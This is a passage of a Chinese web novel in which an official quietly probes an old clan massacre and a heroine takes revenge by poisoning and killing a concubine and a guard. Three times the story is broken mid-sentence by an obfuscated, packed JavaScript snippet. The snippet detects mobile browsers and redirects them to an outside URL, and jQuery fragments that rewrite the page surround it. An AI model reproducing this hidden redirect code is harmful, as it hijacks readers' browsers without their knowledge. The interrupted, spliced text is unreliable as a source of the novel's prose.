时值夜半子时，凶手潜回郊外住处，被亲自蹲守的巡按御史郭汝明当场缉拿，那凶手凶恶至极，五花大绑后竟还意图下毒谋害朝廷命官，被左右副手当机立断砍去四肢与头颅，随后为避免其身上体内亦藏有诡异奇毒危及百姓，郭汝明下令将其就地焚烧掩埋，并做主为左邻右舍迁新居，事后却并不贪功，主动将功劳给了所有参与破案的人员头上。百姓联名上书感念其尽职尽责且心怀正义，被臬司武文忠连同奏疏一道送进了平京城。 郭汝明自此一路高升，从小小七品直至官拜礼部尚书，听闻府上二公子今年得中探花，可谓风头无两。 卷录阁出来，已近巳时末，等候多时的张陆赶忙递上手炉，“大人，咱们现在就去薛府？” 谢兆颔首，“备马。” “可……” 谢兆目光平静地望过去，对上张陆的欲言又止，淡声道：“无需你跟着。” “别别，大人莫动怒，属下意思是，此刻街上正热闹，骑马穿行多有不便，何况大人身份尊贵，万一到时不小心冲撞到，也耽误时间不是？”张陆被那一眼看得心惊肉跳，说话时嘴里凉过今日化雪的天。 谢兆朝前迈的步子顿了顿，几息后方缓声道：“备马车。” 张陆忙应声，再不敢啰嗦半句，急急跑去安排。 平京城分为南北两街，每街各有各的繁荣，也有各自的错综复杂。薛尚书的府邸地处北街的长平坊，此宅乃是前朝名相张开的故居，张相素以清廉著称，薛崇贵更是家风尚俭。 当年薛崇贵中进士时，先帝已是龙体欠安，久不上朝，摄政王看不惯他两袖清风的作为，做主将人发配到了南疆，意图教其自生自灭。然而就在他被瘴气入体神志不清之时，蛰伏许久的大皇子，也是现今的太庆帝悄悄派人前来，不但帮他解除眼前困境，还给出承诺——若得先生之助，则他日登基之时，必是薛卿重归平京之日。 又两年，韬光养晦的大皇子以“清君侧”之名与把持朝政多年的摄政王开战，鏖战数日，养尊处优的皇城兵马最终不抵曾经镇守南疆的军中将士，战线一退再退，以致节节溃败，摄政王无奈举出白旗，并言明可以交出一切，只想苟活。 大皇子却当着众将士及全城百姓的面细数其摄政期间之种种罪行，惹出冲天民怨，最后在阵阵夺命的“杀”声中，大皇子高举手中嗜血长刀，震天怒吼“送皇叔”，手起刀落，人头滚地。 翌日夜，先帝撑起最后一口气，召三省及六部，交付后事，留下遗诏，未及大皇子赶到，便彻底松了劲儿，归天去也。 月余，新帝登基，百废待兴，薛崇贵就是这时候从南疆直升到平京，先后于工部、吏部任职，太庆四年方到了户部。因原侍郎贪墨，位子空出来，太庆帝趁势让他顶上去，尚书年迈，薛崇贵不负所托，带领户部倾力扭转劣势，使得国库逐年充盈。又三年老尚书致仕，太庆帝再拟旨，户部尚书的位置便顺理成章地落在了他头上，这处府邸亦是在那时赐下来的。 当真是皇恩浩荡，荣宠至极。 谢兆在缓慢行驶的马车中将薛崇贵的生平在脑子里过了一遍，忽而身形微顿，他慢慢睁开眼睛。 张陆在外面禀报：“大人，咱们到了。” 谢兆放下手炉，掀帘而出。 正午时分，街道上昨夜的雪已化得差不多，虽日光充足，但人走出来还是免不得教春风钻进骨缝，张陆及时拿来厚绒披风，穿戴妥当，谢兆迈步往大门去。 门房早得了吩咐，马车一停他便去候着，见人出来小心上前行礼，笑称“瑞王殿下”。 谢兆摆手，握拳抵唇咳了几声，“今日为公务来。” 门房立马改口，“是，小的眼拙，我家主人已在厅中等候，侍郎大人请随小的来。” 薛崇贵回京前，这处曾一直荒废着——张相是真清廉，府邸不但简陋，占地还小，虽比寻常百姓家要大上许多，但跟其他官员比起来，就只及得上人家的一半。 谢兆十岁那年，曾于一个充满血腥的冬夜自后院翻墙而入，那一夜混乱至极，他的记忆颠来倒去，唯二清晰的，是一双推他下湖的手，及一对恍惚无神的眸子。 醒来时他已上岸，却不知缘由，心中空余莫大哀恸。衣衫结出冰碴，他拼尽全力翻墙而出，跑回瑞王府，用最后一丝理智奔回自己院子，未惊动任何人。 翌日，他突发高烧，昏睡半月，亦是自那起，落了病根。 而今是谢兆第二次踏足，见院内布局简单，又错落有致，且在细微处留有巧思，地方虽小，却内藏乾坤，想来主母应是位剔透之人。他忽然想起曾在母亲办的某宴席上远远瞧见过薛夫人，那样的气质，实在是无法将之与眼前景色结合在一处，南辕北辙，如此割裂。 下了长廊，薛崇贵已在前头迎上来，二人相互见礼，薛崇贵道：“今日天寒，热茶已备好，侍郎大人快快请进！” 进了屋，冷热替换，激得谢兆连连咳嗽，几次没法把话说完整。 薛崇贵颇为关切，“侍郎大人这旧疾，太医院真就一点法子都没有吗？” 谢兆谢过，“今年换了新方，已是比往年强上许多。” 寒暄几句，薛崇贵撤了奉茶丫鬟，问道：“昨夜侍郎大人差人匆匆来递拜帖，可是有什么急事？” “倒也不甚着急，只是听闻薛尚书多年前曾任职南疆，想请教一些事，还请薛大人为我解一解惑。”总算咽下最剧烈的那一阵咳意，谢兆端起茶碗，小小啜进一口。 薛崇贵忙说“岂敢”，直言道：“侍郎大人所说不错，薛某确在南疆多年，对南疆风土人情也算了解，不知是何事困扰？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443164|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那我便直说了，”谢兆撂下茶杯，瞥过去一眼，“青州地处南疆，与薛大人所在的永州接壤，大人在永州多年，可曾听闻过青州白家？” “白家？”薛崇贵目光移向远处，似在思索，“侍郎大人说的可是百年望族的白家？” 谢兆直直望住薛崇贵，颔首道：“便是那一夜间被灭去全族的白家。” 薛崇贵眉心微微一抖，恰好落入谢兆眼底，他趁势往下问：“大人可对白家有所了解？” 薛崇贵神色渐露惋惜，目光缓缓收回，与谢兆相接一瞬，点头说：“自然，薛某当年曾因公往返于两州，与青州白家亦有过交集，”说着又是一叹，“可惜啊，白家族长为人宽厚，心怀正义，本可让家族再兴旺百年，谁想到就那么被……” 话未尽，薛崇贵摇了摇头，兀自陷入回忆，谢兆并不打断，只顾端杯喝茶。忽然心中一动，他望向盏中茶汤，胸腔中那些勉强压下去的呛咳仿佛骤然间荡然无存，忍不住再次喝进一口，不明缘由。 待薛崇贵从情绪中恢复过来，谢兆这才出声，“依大人所言，白家当时在青州应备受尊重，何故竟得罪了一个药铺伙计，以致全族尽灭？我读过案宗，除药铺伙计外，竟再无一人牵连其中，无帮凶，更无幕后主使，试问药铺伙计怎会拥有或者说研制那般奇诡毒药？就算那伙计的确颇有天资，缘何犯案之后没有计划周密离开，反被当场诛杀，未留下任何有关作案动机的只字片语？涉及此案的尚有其他种种可疑处，大人既对白家如此厚意深情，是否曾对结果有过质疑？” 薛崇贵一点反应时间都没有，毫无防备让这一连串的问句问到了心头处，他像是微微愣住，顿了顿方开口，“此案……此案当时全权交由刑部主理，具体的只有圣上和刑部尚书，以及当时的按察御史最为清楚，薛某彼时不过是工部小小主事，纵然心有疑惑，也是人微言轻，何况圣上金口玉言宣布了结此案，实在是……” 谢兆不急着说话，只是无声地打量薛崇贵。 他的神情，他的一字一句，惊讶，扼腕，伤感，以及些微的紧张慌乱，都表现得恰到好处，若非真实反应，那一定私底下针对类似的问话演练过多次，可如果早就做好准备……他如何料到会有人找上门来与他问起这桩陈年往事？ 思索间，忽听得薛崇贵的反问：“侍郎大人提及旧事，可是发现新线索，想要重新彻查此案？” 谢兆摇头，“只是闲来无事翻阅阁中案宗，读到这桩案子，心有疑虑待解而已。” 薛崇贵若有所思。 谢兆放下茶盏起身，说着就要告辞，“今日多有叨扰，耽搁了薛大人的宝贵时间，薛大人今后若有用得上我的地方，尽管开口便是。” 薛崇贵忙笑说“哪里哪里”。 临走前，谢兆像是忽然想起来的，回头望向薛崇贵，“听说薛大人寻回了走失多年的嫡长女，还未及道一声恭喜。” 薛崇贵忙忙拜谢，“同喜同喜。” 谢兆有心问一句“同喜从何来”，但见薛崇贵充满欣慰的面容，只得将话咽了回去。 9. 第 9 章 卯时过二刻，袁彦猝然睁眼，呼吸像被双看不见的手扼住，缓了半晌，茫然望向眼前那片黢黑。 春寒料峭，袁彦忽然一身薄汗地打了个激灵。 平京城寅时二刻开城门，卯正时分，城门口仍在排长队，文四一直不错眼珠地盯着来往车辆和行人，他不动声色放行了前一辆车出城，转头，望见有人拦停了袁彦的马车。 近日平京城里平白多了好些倒买倒卖的“倒爷”，在南北两街闹出过不少乱子，尤其是南街，城门照往常严格了不少，不管进出都要盘查。见车夫只比划不说话，兵士作势要去撩帘子，里面却先一步递出腰牌。 兵士认出此牌属于尚书府，立即后退一步，再不敢怠慢，挥手放行。 似有风吹动窗帘，袁彦偏头去看，恰遇文四目光，错身而过时，后者不着痕迹地点了个头。 “文四已确认康平王府的马车出城。” 韵采今日一身劲装，听罢立刻直起身子，却忽然就笑了，“万家也就那人做事不会让人失望——那接下来我们分头行动？” 袁彦轻轻点头。 马车晃晃悠悠来到洛迦山，快到月老庙时，二人下车，于庙中拜过，韵采自后门悄然而去。 “未时到后山等我。” 文五比划：姑娘小心，自出城，后面一直有两人跟随。 袁彦点头表示知道，“无妨。” 天渐渐亮起来，日头却仍没冒头，山中清冷，她一路走一路算方位，倒也没犹豫过。 到得一处凉亭，袁彦停下歇脚。 洛迦山并非寻常高山，只是地势比别处高，背靠山林，其中大小道路纵横，错综复杂。原只在深处有座破败寺庙，几十年前高僧苦厄曾圆寂于此，百姓相继慕名而来，香火渐旺，寺庙几经修缮扩建，到如今的庞大规模，甚至摇身一变，在宫里挂了名，成了皇家寺院，御赐“普渡寺”。 先皇礼佛，曾令工部主管，于寺内修了座极乐塔，建成之际西洲的夜明珠正好运来，那珠子极其罕见，直径长达三尺三寸，工部于是连夜设计方案，巧妙地将珠子严丝合缝嵌进塔顶，此后每当夜幕降临，普渡寺便好似有佛光普照。 去年初春，大约也是此时，普渡寺还出了件不小的事——厨房因小师傅瞌睡失了火，事后处理了人，递折子上报时，恰遇进宫请安的康平王。康平王一番口舌安抚住圣上的怒意，又自告奋勇担下了后续事务——招揽匠户劳力，坐镇寺内监工，期间未有过丝毫怠慢，并于事后深藏功与名，非但不要嘉奖，反上书大大夸赞了寺内僧众以及此次所有参与施工等人。 这一举动在坊间广为流传。 圣上当然又一次龙颜大悦，不顾文臣进言，将折子中所提众人一并赏了，至于康平王，因早知他心病却始终不得章法，是以便借机着人雕了尊纯金“送子观音像”进寺，此既全了他不居功的意，也没寒了这一遭辛苦奔波的心。 平京城的官家贵妇皆望风而动，每月初一十五，都会雷打不动地争相前去参拜。 康平王府也一样，只不过十五那日已去过一回，今日再去，则是她的手笔。 袁彦向着深山处望去，指甲轻轻磨着袖口中的小瓷瓶。 她没急着走，而是又在凉亭耽搁了一会，歇够了，才重新上路。 不远处有两身着布艺的男子悄悄尾随，其中一个望了望袁彦走的方向，确定道：“看样子就是去普渡寺，你回去禀告张头，我继续跟着，寺门口会合。” 某一时刻，袁彦微微侧身仰头看天，畏寒般拢手呵气，尾随之人立刻找掩体躲避，然再探头出来时，已全不见女子踪迹。 日头整个钻出来，普渡寺的大门终于露了头，寺里进进出出格外忙碌。袁彦远远瞧了瞧，没径直过去，而是走了岔道口的小路，没一会就绕到了寺院不常开的后门，康平王府的马车就在不远处停着，车夫正在给马饮水。 趁车夫没注意，她轻轻敲了两下门，又敲了三下。 门从里面打开，探出头的是个小和尚，小和尚双手合十冲她点了点头，“跟我来。” 车夫若有所感，回头却见一只狸花猫自参天古树上蹿下来，嘴里叼着只麻雀，见有人看它，它将麻雀放下用爪子压住，凶狠地“哈”回去。 袁彦一路往后院去。 “康平王在哪？” “极乐塔——他在其中与人密会，具体不知是何人，那人整个都罩在斗篷之下，塔周围有皇家守卫，只有住持能过去。” 袁彦沉默一瞬，叮嘱道：“待会你见机行事，记住，不管发生什么，从这端出去的东西都要确保在你的掌控中！” “明白，后厨已被我支走，姑娘要做什么尽管做，只是要快，你来得晚，人马上回来了。” 推门而入的瞬间，忽听有人厉声道：“慧灵，不赶紧去伺候贵人，在这磨蹭什么？” 袁彦于昏暗中抬眸，慧灵冲她轻轻摇头，“知道了，我这就去。” “对了，等会两位贵人要在庙里用斋饭，慧慎在不在厨房？什么？不在？你们一天到晚正事不干，全指着我这师兄！厨房要是再出事，我饶不了你们！” “半刻前我瞧着他往后山去了，急匆匆的，也不知道有什么事，师兄要不要派人找找？” “用你说？厨房的事就他能干，不找他找谁？看我不把他抓回来扒层皮！” “师兄消气，我刚瞧灶上煨着银耳甜羹呢，篓里还有不少食材，应是慧慎想着师兄喜欢，特意留的。” “算他有良心！” 说话声渐远，袁彦快步到灶台旁，揭开盖子，拿出袖口的瓷瓶，一股脑倒了进去—— 曾经风光无限的南疆妖女蓝玉年轻时研究出个小玩意，彼时为情所困，还颇矫情地取了名字，叫作“长辞”，常人只需服上一粒，便会在个把时辰内血肉尽失，最后只剩一张腐烂的皮，其时不少人为求一粒使尽手段，甚至倾家荡产。传言蓝玉就是死于长辞，世人咬牙切齿，都说这是天理昭昭，报应不爽。 她在南疆照方试做，并在此基础上进行改良，调配出多种毒性相似的药水，其中之一就是方才倒进去的——无色无形，淡淡清甜，毒性更烈。 屋外隐约传来说话声，袁彦轻手轻脚转到灶台和墙壁的角落，蹲身躲了起来。 厨房门被打开，慧慎边进来边听师兄的训斥，半句也不敢回，等师兄走了，他才“呸”了声，小声嘟囔：“吃吃吃，贵人吃的东西你也要吃，胆大包天的玩意，看我这回不拉死你！” 慧慎嘴里骂骂咧咧，手里的活却做得十分麻利，熄了火端起银耳羹往外走，推门碰上慧灵，两人一道往会客室去。 厨房这会清净，袁彦便没急着走，而是隐在窗边观察外面情况。 约莫一刻钟，门外不知缘由地嘈乱起来，慧灵猛地推门，反手关门之际语速极快地告诉袁彦：“有人埋伏刺杀康平王，康平王显然事先得到消息做了安排，只是不知道他到底掌握多少，眼下他已带人追击，事后若细查……” 袁彦轻声问：“另外那个呢？” “家丁护送上了马车，我已解决所有随从，人就在柴房。” 袁彦垂眼看他手上的炖盅，声音里有了几分了然，“东西给我，你受累，再把她带到后山的落霞亭，我随后就到。” 慧灵不疑有他，背上人就走，他力气大脚程快，带着人也不觉得累赘，中间女人醒过一次，慧灵怕她大叫，连忙一掌将其再次劈晕。 好一会，才远远瞧见袁彦的身影。 待走近，她说：“你去吧。” 慧灵便点点头，什么也不问，抱拳道了声“保重”，扭头就走。 袁彦将食盒轻轻落地，漠然看向几步之外躺着的被五花大绑的女人：精致的妆容已经花了，头发散落，衣衫倒是完整，只是蹭了好些灰，要不得了。 山中清冷，周遭荒草萋萋，袁彦蹲身掐她人中，女人忍痛咕哝一声，醒了过来。 “如意？” 女人乍听这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443165|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声轻唤，先是疑惑，随即对上一双陌生的沉静眼眸，思绪瞬间回笼，她惊恐想跑，却猛地意识到不对劲。 “你……你好大的狗胆！”她使劲挣动身体，麻绳磨破了她细嫩的手腕，疼得骤然变调，“快放开我，我可是康平王的人，若让殿下知道，准保杀了你！” 她仍是那副狗仗人势的嘴脸。 “我瞧你应也是个千金小姐，莫不是想嫁进王府，先过来给我个下马威？”如意打量袁彦，急促地了然一笑，“也不看自己是个什么东西，殿下岂会让你想如何就如何！” 袁彦忽而想起幼时她唯一见过如意的那回。 彼时思姐心切，央了祖母半晌方才得了允准，带着礼和随从兴高采烈去了康平王府，结果见到她在进门第一日便逼迫长姐接她的茶，认她做妾室。 那时候她才知道家人不许她随意出入王府是何意，原来定国公府千娇万宠的嫡长女在皇家过得并不好。 长姐始终没接茶，如意在王府地位尴尬，她于是怀恨在心。 不过一个楚馆秦楼的卖唱女，仗着腹中胎儿与司空朔的纵容，不敬长姐，收买长姐身边人，要长姐的命！ 袁彦慢吞吞打开那盅银耳羹，山路不好走，羹汤免不得洒出去一些，她敛去眼底的可惜，问她：“认识吗？” 如意不自觉往后挪，警惕道：“你想干什么？” “司空朔自己跑了，把你扔在这，”袁彦盛了一碗，自顾道，“看来你对他来说，也就那么回事。” “胡说，王爷心疼我，要不是你，我此刻早已回了王府！” “是吗？”袁彦轻笑，“如果是穆婉佩，他可不放心让她独自下山。对了，他知道她是死于你手吗？” 如意的心重重一跳，“你如何……” 一匙甜汤顺势滑进她的口中，还没来得及反应，就直接咽了下去。 如意大惊，反应过来之际忙拼命干呕，却无济于事，不由大惊失色，“你！你给我喝了什么？” “银耳羹啊，这里头可是放了许多滋补的东西呢！你最喜欢的啊！为了跟我争，你不是还到司空朔面前哭哭啼啼，说我责骂你吗？” 她耳朵嗡嗡响，眼前好似出现幻觉，“你说什么？” “那是我嫁妆里带的，你跟司空朔一哭，我就得全送进你的院子，”袁彦柔声问，“好吃吗？” 如意瞳孔骤缩，脸色瞬间惨白，她见鬼似的往角落里挪蹭，嘴里哆嗦不成句，“你，你到底……你不是……” “死？”袁彦咧开嘴，忽而收了笑，凑近了，将话说进她耳朵，“人不就是死后才能变成厉鬼索命吗？如意啊，我袁青城，来索你命啦！” 尖锐的叫声划破虚空，却没传多远就散了。 慧灵下山脚步倏然一顿，回头望了眼亭子的方向。 “你拜送子观音，心里虚不虚？” “那孩子不是司空朔的种，想想也是，你诬陷长姐害你何须下这么大本，所以孩子断不能生，你怕极了。” “菩萨不会再送你孩子了！” “自己造的孽，自己偿吧。” 如意面无人色，其实已经不大能看出来了，不管她听到什么，那张脸都是黑的。嘴巴张着，好似是僵住了，袁彦又喂进一口，没费什么力气。 “这里面放了‘长辞’，放心，这是特意为你调的，跟原来的不一样，一定让你死得明明白白。你看，你的手已经黑了，脸也是，过一会全身都会黑，会腐烂，但不会死，你得留着一口气，亲眼看着自己是如何消失在世上的。” “这荒山野岭的，没有人找得到你，哈哈！” 如意抖若筛糠，不想顺她的意，眼睛却已先一步看了过去。 昔日葱白的手正泛着将死的黑气，如意吓破了胆，眼前一黑，想喊才察觉自己声音如老妪，“嗬嗬，嗬嗬。” “怎么办？你的殿下再也不想听你唱曲儿了！” “嗬嗬……” 又一口甜汤入喉。 10. 第 10 章 回程的路袁彦走的很慢，不期然看见等在不远处的慧灵，微微一愣，“你没走？” “就走了，”慧灵说，“刚才回去看过，寺里没受什么影响，住持已经开始给弟子讲经。” 袁彦颔首。 “你似乎早有准备。”他本不想多嘴，可实在架不住心中疑惑。 “清修之地，不该被我这等俗事打扰。” 想要再问，话到嘴边，又发现没什么好问——无非就是求个判断正确，但事已至此，问着了又能如何呢？ 袁彦并不打算细讲，看他的穿着，静默一瞬，问道：“还俗了？” 他点头笑了，紧了紧怀中长剑，“是，你我两清，没必要再在这里耗着。” “接下来什么打算？” “去塞外寻人。” “鬼手舆？” “对。” “如果世间根本没有这个人呢？” “那也要找，”顿了顿又补充，“她存在过，所以，总能找到的。” 袁彦便不再试图阻拦，转而道：“塞外这时节，要比这里苦寒许多。” 他满不在意，“我自幼被送去极北之地习武，身子比常人耐受，塞外于我而言并不算什么。” 如此便再无甚好说，忽又想起别的，问他，“可知埋伏刺杀的是什么人？” “死士，被抓后立即吞毒自杀，没有活口，都做寻常打扮。我去看过，除了知道是练家子，别的什么都看不出，”他尽量简练，“康平王带着侍卫追到山下，不知道现在如何。” “可看清侍卫头领的样子？” 他回想一瞬，“没有，不过我听底下的人都叫他‘王统领’。” 行至岔路，袁彦欲往东，二人方向相反，分别前她多问一句：“以后若有机会再见，该叫你什么？” “便还叫俗名，万冲。” “万家那样待你，还不打算改？” “名字而已，改它作甚！” 袁彦不由微弯唇角，抱拳告别：“保重。” 不知从哪油然生出一股豪迈，他蓦地大笑起来，走出几步的袁彦驻足回眸，却只见一道仗剑独行的利落身影，虽身着粗布衣衫，却仍有衣袂飘飘之感，颇像个侠士。 收回目光，她掐指算方位，便往山更深处去。 日头被遮住，她抬头看了会沉下来的天色，一心二用地边找路边推算下雪的时辰，这大概是冬春之交最后一场雪了。 钻过窄且长的山洞，再见天日，豁然开朗。 眼前是一处山坳，不远处的山涧表面仍结着薄薄一层冰——这里天生地长了许多毒草，幼时她曾随祖母来过几次，看着祖母在毒草旁耐心地栽种草药。 平京人大多忙于生计，百姓来洛迦山九成九是去普渡寺求平安求事业，也有人会顺道给月老庙烧柱香，祈求他老人家给牵个红线，好托付后半生。鲜少有人会闲到跋山涉水只为找这么个偏僻地，而小路弯弯绕绕，寻常人进来走一段就会迷路。是个绝佳的藏匿地。 这么多年记忆时有模糊，若非识得些辩路技法，那这进山的路或许永远都找不到了。 天色愈发沉，袁彦不敢耽搁，拿了需要的毒草药草，戴好兜帽，紧了紧披风，快步离开。 岔路口地上脚步凌乱，似乎两条路都有人去，道旁的枯枝败叶血迹斑斑，不知是何方人占了上风。 袁彦哪条路都没选，而是往偏僻的杂草丛中走。 草丛里荆棘遍生，还没走几步，忽然听见不远处有“沙沙”声传来。 袁彦眉目微动，抬眼看过去，却见一个“血葫芦”正在枯草里艰难爬行，隐隐可辨他身着康平王府的侍卫服。 “救……救……” 藏在披风下的手里多了一颗丸药。 她往前两步，与他只隔了半臂的距离，看清了他的脸，“康平王府的人？” “没错……在下正是王……” 药丸猝不及防丢进侍卫口中，那东西入口即化。 “王纯涣，我知道你，”袁彦轻轻说，“我就是来找你的。” 侍卫惊愕瞪大双眼，目光下意识瞥向别处，似乎一瞬间明白了什么，却又猛地察觉到自己半边身子竟然麻了。 “那个孩子是你的，你怕事情败露，和如意商量时被长姐院子的丫头撞见，丫头告诉了长姐，你便杀了她，”袁彦站起来，慢条斯理地搓碾指尖不慎沾上的血迹，垂眸看他努力挣动，“那晚司空朔带人屠了定国公府，你事先安排如意借机灌长姐毒药，却让人谎报称她是自杀——” “你……你是……” 袁彦静静看他一眼，莞尔道：“是不是觉得你们做得天衣无缝？” 王纯涣呼吸急促，他已来不及想通如此隐秘之事为何会被个官家小姐点破，只能凭着最后一点力气猝然出手，却终因力不从心不甘垂下，他整个人再不能动分毫，视线也愈发模糊，眼前看似柔弱的女人嘴唇翕动，却仿佛露出獠牙—— “如意在下面就等你呢，快团聚去吧！” 王纯涣死的不甘不愿，袁彦没再多看一眼，站起身时，一旁观看许久的韵采走了过来。 袁彦冲她一笑，笑容里是说不出的快意。 韵采说：“本以为擒他需费些功夫，谁知这人竟是个好大喜功的，最后落了单，若非得了姑娘事先吩咐，我还能让他再痛苦一成。” “此次匆忙，下次再赔你一个，”袁彦转身往山下走，续道，“对了，万冲……他走了。” 韵采跟在后面，闻言沉默几息方说：“走了也好。” “他去塞外找鬼手舆。” 韵采嗤一声笑出来，“找得到吗？” “你将消息放出去，就是知道他一定会去，”袁彦声音一顿，“把人支出去那么远，你就不后悔？” “我既做得出，有甚可后悔？” 袁彦倏然愣住，这语气颇熟悉，仿佛片刻前才听过。 “不说他——姑娘，接下来什么计划？” 袁彦思索一瞬，“此刻康平王正忙着追击刺客，断然无法回府，这样，你再帮我去做件事……”说着她从随身小包中掏出个小袋子递了过去。 韵采接过打开看了看，不解道：“鱼食？” 袁彦垂着眼，遥远的记忆在这一瞬间侵袭而来，耳边似有轰鸣声，须臾，她听见自己说：“上个月吏部的王泽忠主事送了两条大锦鲤到康平王府，那是从濯洲运来的，十分稀有珍贵，现在就养在府里的池塘，听说十分得康平王喜欢，每日亲自喂养，从不假他手，”她唇角微弯，笑里浸了霜，“想来今日贵人事忙，你便去帮他喂一次，别让它们饿着肚子。” “我现在就去，”韵采沉声，复又问她，“那姑娘你，现在就回府？” “我去找文五，事情办完，你直接回水天居。” 袁彦给韵采指了近路，二人分道而行。 行至月老庙附近，袁彦发现庙门前围了许多亲兵，远远瞧着，进进出出的都穿着康平王府的衣服，唯有一人格格不入，徘徊在庙门口，看打扮是个官家小姐。 待瞧清楚脸，袁彦心中一时闪过数个念头。她离开平京城太早了，很多人和事都是靠阎婆后来回忆才凑了个七七八八，其中尤其印象深刻的便是这位郭瑜郭县主。 郭瑜父亲是先帝亲封的岳阳侯，母亲出身平京世家大族，二人亦由先帝主婚。算起来郭瑜应是长她几岁的。 郭瑜上头还有个亲哥哥，阎婆说其神勇无双，面若冠玉，当年十六不到，岳阳侯府的门槛就快被说媒的踏平了，却是一个都没看上，而今二十有七，房中始终无人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443166|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最新消息称这位郭将军为国征西，年前就走了。 袁彦想起阎婆说的，那时候长姐刚刚定亲，这位侯府千金火急火燎当街拦了长姐马车，大言不惭让她识相点自己去把婚退了，极其娇纵跋扈，结果她回去之后就被岳阳侯关了禁闭，直到康平王大婚月余后才被放出来。 想不到雨露均沾的岳阳侯物极必反，养出个长情的女儿。 既然她在这，那里面定然就是康平王司空朔了。 鼻尖忽觉一股凉意，袁彦抬头，沉了许久的天终于坚持不住落了雪。丝丝燥意蓦地升腾起来，她低垂目光，按着文五沿途的记号，避开人群往后山去。 刚进入落脚处，便被扑面而来的血腥味呛了一鼻子，险些眼一翻直接晕过去，文五从岩壁上利落跳下，跑过来急切地比划着什么。 她顺着文五指的方向望了眼，不想管这节外生枝的麻烦，扭头要走，情急之下的文五竟胆大包天伸手拉住了她袖子，手舞足蹈想要表达什么，她看了半晌，居然看出了语无伦次的感觉。 “那些人已经进来搜过一回了？” 文五重重点头。 忖度一息，她从腰间的口袋里摸出纸包递过去，文五眼睛一亮，接过麻溜在洞口来回撒了厚厚几圈，一股清冽的草木香顿时蔓延开来。 “这药撑不了太久，咱们得快，”袁彦说着往里走，转过石柱，背面是一处只容得一人的空地，拨开上面覆着的杂草，里面躺了个男人，她回头了然瞧文五，“过来帮忙。” 文五将人拖出来，袁彦简单看了他的伤势，发现只是看着吓人，实际身上的血大多是别人的，“伤的不重——你把他怎么了？” 文五指了指被扔远了的木棍，又指了指他脖子，比划道：就打了这一下。 “我看他全身最重的伤就是被你揍的这一下。” 文五窘迫争辩：他突然冲进来，我被吓到了。 袁彦叹道：“我看你是男孩子做久了，都不知道姑娘家的矜持了，但你看人的眼光居然还是个姑娘，怪哉怪哉。” 文五急了：小姐！ “好好好，我说错了，”袁彦嘴里说着闲话，却不耽搁手里的活，麻利地给男人上了药，“不过你让我救他，他又不知你是谁，就算你看上他了，之后怎么办？咱们又不能将他带回去，要是把他扔在这，保不齐被谁捡了便宜去，到时候人家两个患难真情的，你怎么办？” 文五假面皮下的脸红透，手指头仿佛被冻住，什么也比划不出来。 “我倒有个办法，”袁彦眼珠子一转，没憋好屁地建议，“前些日子我闲来无事做了些药，给他吃一颗，我在门口把风，你趁机将他睡了可好？做不了鸳鸯，做个风流客也不错，你且放心，他虽昏迷，但该有的知觉还是有的，不耽误。” 文五张了张嘴，此生从未怨过自己是个哑巴，现在却实打实地恨起来了。 “好了，不逗你，”袁彦收药起身，“得快些走了，外头那架势随时都能再来搜一次——你打算如何？要不给他留个信，让他伤好了来找你报恩？我必须告诉你，今日山上不少死士，他却不是，这说明他背后或许有其他势力，我没兴趣知道他是敌是友，但你若在意，我便顺手处理了。” 文五又低头看了看闭目不醒的男人，几息后摇摇头，什么话也没有。 她一个打小没人要的哑巴，活着已是最大的恩赐，做什么还去耽搁别人。 这怯懦的模样让袁彦无奈骂了句“混账玩意”，也知多说无益，便道：“那就把他放回去，醒之前能不能被发现，凭运气吧。” 文五还有迟疑，双手想比划什么，又放回去，乞求似的看着袁彦。 “没必要，”袁彦知道她的意思，摇头说，“如果他这次必死无疑，你此刻知道了，只会更烦恼。” 11. 第 11 章 张陆领着两个探子匆匆赶回刑部，水都顾不上喝一口，直奔卷录阁。 “大人，盯着薛家的人早上来报，说薛千金卯时乘马车出城，往洛迦山方向去了。” 谢兆昨日从薛家回来，便在卷录阁支了套桌椅，言明往后办公都会在此处——听完汇报，他从堆成一小摞的案宗后抬起头，“完了？” 张陆有些难为情，毕竟是自己手底下的人办事不得力，但还是硬着头皮说：“不是，我的人一路跟着，半路上不知怎的，把人跟丢了。” 谢兆轻手放下案宗，端起茶杯喝了口热茶。 “跟丢了。”他慢慢重复。 张陆实在有些没脸，但这事真够怪的，“大人，属下也是刚从洛迦山下来，那山咱们常去，路就那么两条能走，可薛家千金就是一错眼珠便不见了，就像凭空消失，着实诡异！” 谢兆道：“那两条是供百姓上山朝拜的大路，洛迦山上小路错综复杂，没人走不代表不能走。” “话虽如此，可是大人，那薛千金……看着金尊玉贵的，怎么也不像是能翻山越岭之人——属下实在想不通，她到底是怎么做到凭空不见的？” 